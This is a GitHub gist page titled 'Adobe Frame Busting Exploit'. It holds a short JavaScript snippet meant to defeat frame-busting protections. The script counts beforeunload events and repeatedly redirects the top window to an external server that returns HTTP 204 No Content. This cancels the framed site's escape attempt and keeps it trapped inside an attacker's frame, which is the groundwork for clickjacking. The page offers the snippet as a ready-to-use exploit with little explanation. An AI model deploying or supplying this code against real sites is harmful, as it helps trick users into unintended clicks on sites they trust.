Skip to content

Instantly share code, notes, and snippets.

@melvinsh
Forked from skepticfx/Adobe Frame Buster
Created May 12, 2016 13:39
Show Gist options
  • Save melvinsh/20efd8d477f235b08142181a13c5f77c to your computer and use it in GitHub Desktop.
Save melvinsh/20efd8d477f235b08142181a13c5f77c to your computer and use it in GitHub Desktop.
Adobe Frame Busting Exploit
if (top!=self){
top.location.href=self.location.href;
}
var kill = 0;
window.onbeforeunload = function() { kill++; }
setInterval(function() {
if (kill > 0) {
kill -= 2;
// A Web Server that serves a 204 - No Content
window.top.location = "http://test.skepticfx.com/204.php";
}
}, 1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment